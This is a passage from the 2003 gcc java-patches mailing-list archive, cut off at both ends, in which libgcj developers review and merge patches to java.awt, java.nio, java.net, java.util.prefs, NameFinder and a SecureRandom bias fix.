peer for the specified MenuBar object. * * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. @@ -270,6 +284,7 @@ * Creates a peer object for the specified Menu. * * @param target The Menu to create the peer for. + * * @return The peer for the specified Menu object. * * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. @@ -300,6 +315,7 @@ * Creates a peer object for the specified FileDialog. * * @param target The FileDialog to create the peer for. + * * @return The peer for the specified FileDialog object. * * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. @@ -326,6 +342,7 @@ * XXX: FIXME * * @param target The Component to create the peer for. + * * @return The peer for the specified Component object. */ protected LightweightPeer createComponent(Component target) @@ -338,7 +355,10 @@ * * @param name The font to create the peer for. * @param style The font style to create the peer for. + * * @return The peer for the specified font name. + * + * @deprecated */ protected abstract FontPeer getFontPeer(String name, int style); @@ -416,6 +436,8 @@ * Returns the color model of the screen. * * @return The color model of the screen. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public abstract ColorModel getColorModel(); @@ -430,6 +452,7 @@ * Return the font metrics for the specified font * * @param name The name of the font to return metrics for. + * * @return The requested font metrics. */ public abstract FontMetrics getFontMetrics(Font name); @@ -700,7 +723,7 @@ * default value if the property does not exist. * * @param key The name of the property to retrieve. - * @param defThe default value of the property. + * @param def The default value of the property. */ public static String getProperty(String key, String def) { --Boundary-00=_JaiS+j82YkqOse2-- From java-patches-return-6086-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 17:18:47 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1870 invoked by alias); 12 Feb 2003 17:18:47 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1862 invoked from network); 12 Feb 2003 17:18:46 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by 172.16.49.205 with SMTP; 12 Feb 2003 17:18:46 -0000 Received: from bothner.com (eureka.bothner.com [192.168.1.9]) by bothner.com (8.12.5/8.12.5) with ESMTP id h1CHM8nw020581; Wed, 12 Feb 2003 09:22:09 -0800 Message-ID: <3E4A7E2A.5020508@bothner.com> Date: Wed, 12 Feb 2003 09:02:34 -0800 From: Per Bothner User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3a) Gecko/20021212 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Dhek Bhun Kho , java-patches@gcc.gnu.org Subject: Re: ObjectStreamClass Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit For the original message, see: http://gcc.gnu.org/ml/java-patches/2002-q4/msg00457.html Sorry for letting this one fall by so long - it was posted as I was travelling to Norway for Christmas, and I forgot all about it. It looks good, though I suggest one improvement: The call to 'make' in 'readObject' should I think be "inlined" so we don't allocate a useless BigInteger instance. (Note also that another patch to rename 'make' to 'valueOf' is pending.) This should go in the trunk (i.e. 3.4), not 3.3, I think. Do you have an appropriate copyright assignment with the FSF? -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-patches-return-6087-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 19:28:18 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17635 invoked by alias); 12 Feb 2003 19:28:18 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 17627 invoked from network); 12 Feb 2003 19:28:17 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 12 Feb 2003 19:28:17 -0000 Received: from fleche.redhat.com (tz0173.peakpeak.com [207.174.69.173]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA07585; Wed, 12 Feb 2003 12:28:15 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id BB4014F8072; Wed, 12 Feb 2003 12:18:06 -0700 (MST) To: "Ranjit Mathew" Cc: "Adam Megacz" , "Java Patches" Subject: Re: added typedef for socklen_t to win32.h References: <868ywm9ee9.fsf@nowhere.com> <86k7g6c63x.fsf@nowhere.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: LBJ, LBJ, how many JOKES did you tell today??! Date: 12 Feb 2003 12:18:06 -0700 In-Reply-To: Message-ID: <87znp1i9zl.fsf@fleche.redhat.com> Lines: 13 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: >> Cool; can we get this committed to the branch before it closes on 01-Mar? Ranjit> If you're OK with the w32api 2.x "limitation", please go ahead Ranjit> and commit it (assuming Tom is also OK with it). I don't have an opinion. It is up to you and Adam. Let's get at least one of these patches in to 3.3. If you tell me which one, I will check it in this week. Tom From java-patches-return-6088-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 19:39:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21201 invoked by alias); 12 Feb 2003 19:39:50 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21194 invoked from network); 12 Feb 2003 19:39:49 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 12 Feb 2003 19:39:49 -0000 Received: from fleche.redhat.com (tz0173.peakpeak.com [207.174.69.173]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA11038; Wed, 12 Feb 2003 12:39:48 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id A99CF4F8072; Wed, 12 Feb 2003 12:29:37 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.nio fixes References: <200302120858.37696.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: .. Like I always say -- nothing can beat the BRATWURST here in DUSSELDORF!! Date: 12 Feb 2003 12:29:37 -0700 In-Reply-To: <200302120858.37696.konqueror@gmx.de> Message-ID: <87vfzpi9ge.fsf@fleche.redhat.com> Lines: 12 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I commited some java.nio fixes. This should be merged into 3.3. Done. Today's patches from you proved harder to apply than yesterday's. You must have changed how they were created. I prefer yesterday's approach; I can apply directly from my mailer. Today's I had to apply by hand :-( Tom From java-patches-return-6089-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 19:48:09 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25090 invoked by alias); 12 Feb 2003 19:48:08 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25083 invoked from network); 12 Feb 2003 19:48:07 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 12 Feb 2003 19:48:07 -0000 Received: from fleche.redhat.com (tz0173.peakpeak.com [207.174.69.173]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA13370; Wed, 12 Feb 2003 12:48:05 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id D5D3A4F8072; Wed, 12 Feb 2003 12:37:56 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org, Mark Wielaard Subject: Re: [PATCH] java.util.prefs References: <200302121147.38814.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: If I am elected no one will ever have to do their laundry again! Date: 12 Feb 2003 12:37:56 -0700 In-Reply-To: <200302121147.38814.konqueror@gmx.de> Message-ID: <87r8adi92j.fsf@fleche.redhat.com> Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> This patch merged java.util.prefs with classpath. Please Michael> review and comment. Looks great. This is fine for the trunk. Michael> + New files, all merged from classpath. All not compiled yet. I don't understand this comment. It looks to me like they are all mentioned in Makefile.am. Did we ever decide whether this should go in 3.3? I'll look at the list archives. Tom From java-patches-return-6090-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 19:52:37 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27811 invoked by alias); 12 Feb 2003 19:52:36 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27790 invoked from network); 12 Feb 2003 19:52:35 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 12 Feb 2003 19:52:35 -0000 Received: from fleche.redhat.com (tz0173.peakpeak.com [207.174.69.173]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA14610; Wed, 12 Feb 2003 12:52:34 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 95A934F8072; Wed, 12 Feb 2003 12:42:25 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.nio.channels.Channels References: <200302121110.08601.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: This TOPS OFF my partygoing experience! Someone I DON'T LIKE is talking to me about a HEART-WARMING European film.. Date: 12 Feb 2003 12:42:25 -0700 In-Reply-To: <200302121110.08601.konqueror@gmx.de> Message-ID: <87n0l1i8v2.fsf@fleche.redhat.com> Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> this patch adds a new file to java.nio.channels. This should Michael> be added to 3.3 too. I'll check this in shortly. Tom From java-patches-return-6091-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 20:04:11 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8048 invoked by alias); 12 Feb 2003 20:04:11 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8041 invoked from network); 12 Feb 2003 20:04:11 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 12 Feb 2003 20:04:11 -0000 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18j34M-0000Zt-00 for ; Wed, 12 Feb 2003 21:01:22 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18j2oZ-0007zl-00 for ; Wed, 12 Feb 2003 20:45:03 +0100 From: Ranjit Mathew Subject: Patch: Fix line-number lookup in creating a StackTraceElement Date: Thu, 13 Feb 2003 01:19:25 +0530 Lines: 35 Message-ID: <3E4AA545.3CB8BB13@hotmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org X-Accept-Language: en Hi, On Win32, in an exception stack trace the file name in a stack trace element was not being printed properly. I could trace it to the fact that since Win32 source file names could look like "G:/src/Foo.java", createStackTraceElement( ) in gnu.gcj.NameFinder got confused while looking for the line number in an addr2line location output like "G:/src/Foo.java:19". The following patch proposes to remedy this by using lastIndexOf( ) instead of indexOf( ) to find the position of the colon separating the file name from the line number. Ranjit. Index: ChangeLog from Ranjit Mathew * gnu/gcj/runtime/NameFinder.java (createStackTraceElement): Use lastIndexOf( ) instead of indexOf( ) to find the colon before the line number, because Win32 file names might contain a drive letter and a colon at the start of an absolute path. Index: gnu/gcj/runtime/NameFinder.java =================================================================== --- gnu/gcj/runtime/NameFinder.java 2003-02-13 00:14:40.000000000 +0530 +++ gnu/gcj/runtime/NameFinder.java 2003-02-13 00:15:38.000000000 +0530 @@ -372,5 +372,5 @@ if (fileName != null) { - int colon = file.indexOf(':'); + int colon = file.lastIndexOf(':'); if (colon > 0) { From java-patches-return-6092-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 20:07:22 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9726 invoked by alias); 12 Feb 2003 20:07:22 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9714 invoked from network); 12 Feb 2003 20:07:21 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 12 Feb 2003 20:07:21 -0000 Received: from fleche.redhat.com (tz0173.peakpeak.com [207.174.69.173]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id NAA18754; Wed, 12 Feb 2003 13:07:20 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id A708F4F8072; Wed, 12 Feb 2003 12:57:11 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.awt References: <200302121148.41677.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Boys, you have ALL been selected to LEAVE th' PLANET in 15 minutes!! Date: 12 Feb 2003 12:57:11 -0700 In-Reply-To: <200302121148.41677.konqueror@gmx.de> Message-ID: <87isvpi86g.fsf@fleche.redhat.com> Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> This patch fixes some glitches in java.awt. Please review and Michael> comment. Thanks for doing this. Note that java.awt is (with the exception of a minor change in Toolkit) fully merged with Classpath. (Well, there are a couple Classpath changes I haven't yet brought over...) Changes have to go in to Classpath as the same time. I didn't look to make sure that the spec changes you made are correct. I'm sure they are though. Michael> +++ /home/mkoch/src/gcc-work/libjava/java/awt/Polygon.java 2003-02-12 08:33:09.000000000 +0100 Michael> @@ -120,6 +120,7 @@ Michael> // Leave room for growth. Michael> xpoints = new int[4]; Michael> ypoints = new int[4]; Michael> + npoints = 4; Michael> } I think this patch is incorrect. `npoints' is the number of points in the polygon, but this constructor makes an empty polygon. The "[4]"s because we assume the user will add a point or two, and we don't want to immediately grow it. The rest of this is fine. Please commit. Tom From java-patches-return-6093-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 20:53:21 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27402 invoked by alias); 12 Feb 2003 20:53:20 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27393 invoked from network); 12 Feb 2003 20:53:19 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 12 Feb 2003 20:53:19 -0000 Received: from fleche.redhat.com (tz0173.peakpeak.com [207.174.69.173]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id NAA31689; Wed, 12 Feb 2003 13:53:16 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 9A3474F8072; Wed, 12 Feb 2003 13:43:07 -0700 (MST) To: Casey Marshall Cc: java-patches@gcc.gnu.org Subject: Re: PATCH: java.security improvements References: <3E282BAB.7020306@metastatic.org> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'm also against BODY-SURFING!! Date: 12 Feb 2003 13:43:05 -0700 In-Reply-To: <3E282BAB.7020306@metastatic.org> Message-ID: <874r79i61y.fsf@fleche.redhat.com> Lines: 64 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Casey" == Casey Marshall writes: Casey> There is also a fix for a bias in the `next(int numBits)' Casey> method of SecureRandom (filed as PR 9271). This part is small enough to go in before the paperwork for the rest is done. So I extracted it. I also rewrote a tiny piece of it. What do you think of the appended? I made two changes: we now compute the return mask more efficiently, and also we take into account that `<<' has higher precedence than `&'. If you think this looks ok, I will check it in (to 3.3, 3.4, and Classpath). BTW, parts of the patch need reformatting to fit the classpath/libgcj coding standard. Could you do that? That will make it easier to put the patch in when the time comes. Tom Index: ChangeLog from Casey Marshall PR libgcj/9271: * java/security/SecureRandom.java (next): Avoid bias in results. Index: java/security/SecureRandom.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/security/SecureRandom.java,v retrieving revision 1.7 diff -u -r1.7 SecureRandom.java --- java/security/SecureRandom.java 13 Dec 2002 14:21:07 -0000 1.7 +++ java/security/SecureRandom.java 12 Feb 2003 20:52:39 -0000 @@ -1,5 +1,5 @@ /* SecureRandom.java --- Secure Random class implmentation - Copyright (C) 1999, 2001, 2002 Free Software Foundation, Inc. + Copyright (C) 1999, 2001, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -36,6 +36,7 @@ exception statement from your version. */ package java.security; + import java.io.Serializable; import java.util.Random; import java.util.Enumeration; @@ -358,9 +359,10 @@ int ret = 0; for (int i = 0; i < tmp.length; i++) - ret |= tmp[i] << (8 * i); + ret |= (tmp[i] & 0xFF) << (8 * i); - return ret; + long mask = (1L << numBits) - 1; + return (int) (ret & mask); } /** From java-patches-return-6094-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 21:16:47 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13874 invoked by alias); 12 Feb 2003 21:16:47 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13866 invoked from network); 12 Feb 2003 21:16:46 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 12 Feb 2003 21:16:46 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18j4Es-0002CA-00; Wed, 12 Feb 2003 22:16:18 +0100 Subject: Re: [PATCH] java.util.prefs From: Mark Wielaard To: tromey@redhat.com Cc: Michael Koch , java-patches@gcc.gnu.org In-Reply-To: <87r8adi92j.fsf@fleche.redhat.com> References: <200302121147.38814.konqueror@gmx.de> <87r8adi92j.fsf@fleche.redhat.com> Content-Type: text/plain Organization: Message-Id: <1045084595.30204.12.camel@elsschot> Mime-Version: 1.0 Date: 12 Feb 2003 22:16:35 +0100 Content-Transfer-Encoding: 7bit Hi, On Wed, 2003-02-12 at 20:37, Tom Tromey wrote: > >>>>> "Michael" == Michael Koch writes: > > Michael> This patch merged java.util.prefs with classpath. Please > Michael> review and comment. > [...] > Did we ever decide whether this should go in 3.3? > I'll look at the list archives. Although I originally wrote this package for Classpath I never actually used it. I got some reports that the memory based "backend" works and has been used successfully, but the real File backend isn't really finished yet. It is also based on a beta 1.4 spec and I believe there were some changes in 1.4 final. There are no tests for this package. If there are actual programs using this API it might make sense to include it in 3.3. But I would wait till someone has the time to review it and do some simple tests. We can always add it later in a 3.3.x release if we want since it is a very standalone package. Cheers, Mark From java-patches-return-6095-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 21:22:02 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16267 invoked by alias); 12 Feb 2003 21:22:02 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16260 invoked from network); 12 Feb 2003 21:22:02 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 12 Feb 2003 21:22:02 -0000 Received: from fleche.redhat.com (tz0173.peakpeak.com [207.174.69.173]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA07146; Wed, 12 Feb 2003 14:21:59 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 346164F8072; Wed, 12 Feb 2003 14:11:51 -0700 (MST) To: Mark Wielaard Cc: Michael Koch , java-patches@gcc.gnu.org Subject: Re: [PATCH] java.util.prefs References: <200302121147.38814.konqueror@gmx.de> <87r8adi92j.fsf@fleche.redhat.com> <1045084595.30204.12.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: This PIZZA symbolizes my COMPLETE EMOTIONAL RECOVERY!! Date: 12 Feb 2003 14:11:50 -0700 In-Reply-To: <1045084595.30204.12.camel@elsschot> Message-ID: <87znp1gq5l.fsf@fleche.redhat.com> Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Mark> But I would wait till someone has the time to review it and do Mark> some simple tests. We can always add it later in a 3.3.x release Mark> if we want since it is a very standalone package. Sounds good, that's what we'll do. Thanks. Tom From java-patches-return-6096-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 21:49:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2178 invoked by alias); 12 Feb 2003 21:49:55 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2170 invoked from network); 12 Feb 2003 21:49:54 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 12 Feb 2003 21:49:54 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18j4l4-0002DF-00; Wed, 12 Feb 2003 22:49:34 +0100 Subject: Re: [PATCH] java.net From: Mark Wielaard To: Michael Koch Cc: java-patches@gcc.gnu.org In-Reply-To: <200302120854.52623.konqueror@gmx.de> References: <200302120854.52623.konqueror@gmx.de> Content-Type: text/plain Organization: Message-Id: <1045086591.30204.35.camel@elsschot> Mime-Version: 1.0 Date: 12 Feb 2003 22:49:52 +0100 Content-Transfer-Encoding: 7bit Hi, On Wed, 2003-02-12 at 08:54, Michael Koch wrote: > I wrote a little patch for java.net. Nothing intrusive. Mostly merges > with classpath. Please review and comment. These look obviously correct to me. If they make libgcj more like Classpath that is very nice. When these go in then hopefully Tom can regenerate the libgcj-classpath compare page so we can easily see if we missed any recent changes from Classpath. Would be nice to have the upcoming libgcj 3.3 as close as possible to the upcoming Classpath 0.5. Cheers, Mark From java-patches-return-6097-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 22:04:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13054 invoked by alias); 12 Feb 2003 22:04:55 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13046 invoked from network); 12 Feb 2003 22:04:54 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 12 Feb 2003 22:04:54 -0000 Received: from fleche.redhat.com (tz0173.peakpeak.com [207.174.69.173]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA19047; Wed, 12 Feb 2003 15:04:52 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 9EA294F8072; Wed, 12 Feb 2003 14:54:45 -0700 (MST) To: Mark Wielaard Cc: Michael Koch , java-patches@gcc.gnu.org Subject: Re: [PATCH] java.net References: <200302120854.52623.konqueror@gmx.de> <1045086591.30204.35.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'm QUIETLY reading the latest issue of ``BOWLING WORLD'' while my wife and two children stand QUIETLY BY.. Date: 12 Feb 2003 14:54:45 -0700 In-Reply-To: <1045086591.30204.35.camel@elsschot> Message-ID: <87vfzpgo62.fsf@fleche.redhat.com> Lines: 12 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Mark> When these go in then hopefully Tom can regenerate the Mark> libgcj-classpath compare page so we can easily see if we missed Mark> any recent changes from Classpath. I'm working on having this page be auto-updated. I've got all the scripts here. I just have a couple more things to work out. I've also got (most of) the code to generate the japi comparisons automatically too. Tom From java-patches-return-6098-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 22:33:13 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31420 invoked by alias); 12 Feb 2003 22:33:13 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31411 invoked from network); 12 Feb 2003 22:33:12 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 12 Feb 2003 22:33:12 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18j5Qu-0002J0-00; Wed, 12 Feb 2003 23:32:48 +0100 Subject: Re: Patch: Fix line-number lookup in creating a StackTraceElement From: Mark Wielaard To: Ranjit Mathew Cc: java-patches@gcc.gnu.org In-Reply-To: <3E4AA545.3CB8BB13@hotmail.com> References: <3E4AA545.3CB8BB13@hotmail.com> Content-Type: text/plain Organization: Message-Id: <1045089185.30201.82.camel@elsschot> Mime-Version: 1.0 Date: 12 Feb 2003 23:33:06 +0100 Content-Transfer-Encoding: 7bit Hi, On Wed, 2003-02-12 at 20:49, Ranjit Mathew wrote: > The following patch proposes to remedy this by using lastIndexOf( ) > instead of indexOf( ) to find the position of the colon separating > the file name from the line number. This looks obviously correct to me. And on some systems ':' is also valid in file names so this should also help in the unlikely case ':' is used in a path on other systems. Do you have CVS access or do you want me to check this in? Cheers, Mark From java-patches-return-6099-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 22:36:06 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 474 invoked by alias); 12 Feb 2003 22:36:06 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 465 invoked from network); 12 Feb 2003 22:36:05 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 12 Feb 2003 22:36:05 -0000 Received: from fleche.redhat.com (tz0173.peakpeak.com [207.174.69.173]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAB27663; Wed, 12 Feb 2003 15:36:04 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 491E64F8072; Wed, 12 Feb 2003 15:25:54 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.net References: <200302120854.52623.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: TONY RANDALL! Is YOUR life a PATIO of FUN?? Date: 12 Feb 2003 15:25:53 -0700 In-Reply-To: <200302120854.52623.konqueror@gmx.de> Message-ID: <87n0l1gmq6.fsf@fleche.redhat.com> Lines: 13 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I wrote a little patch for java.net. Nothing Michael> intrusive. Mostly merges with classpath. Please review and Michael> comment. Looks good; please check in. I'm committing to 3.3. Note that your ChangeLog entry has incorrect formatting. It has 2 leading spaces, instead of a leading tab, on each line. Tom From java-patches-return-6100-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 23:37:23 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29795 invoked by alias); 12 Feb 2003 23:37:23 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: 